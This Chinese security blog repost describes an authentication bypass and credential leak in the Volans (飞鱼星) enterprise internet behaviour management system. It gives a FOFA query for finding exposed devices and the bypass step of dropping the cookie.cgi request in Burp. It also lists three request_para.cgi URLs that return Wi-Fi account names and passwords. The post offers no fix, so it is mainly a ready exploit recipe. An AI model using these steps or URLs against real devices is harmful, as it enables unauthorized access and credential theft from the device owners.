飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

admin 2021年4月24日16:31:09评论584 views字数 428阅读1分25秒阅读模式

FoFA

title="飞鱼星企业级智能上网行为管理系统"

飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

访问 http://******/home/index.html,然后用burp抓包drop掉cookie.cgi这个包

飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

 

越权进入后台

飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

其中还存在敏感信息泄露

/request_para.cgi?parameter=wifi_info      #获取ALL WIFI账号密码

/request_para.cgi?parameter=wifi_get_5g_host #获取5GWIFI账号密码

/request_para.cgi?parameter=wifi_get_2g_host #获取2GWIFI账号密码

飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞

 

 

 

 

相关推荐: NT RPC CPU Utilization Vulnerability

NT RPC CPU Utilization Vulnerability 漏洞ID 1105077 漏洞类型 Unknown 发布时间 1997-02-07 更新时间 1997-02-07 CVE编号 N/A CNNVD-ID N/A 漏洞平台 N/A CVS…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月24日16:31:09
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   飞鱼星 企业级智能上网行为管理系统 权限绕过信息泄露漏洞http://cn-sec.com/archives/343032.html

发表评论

匿名网友 填写信息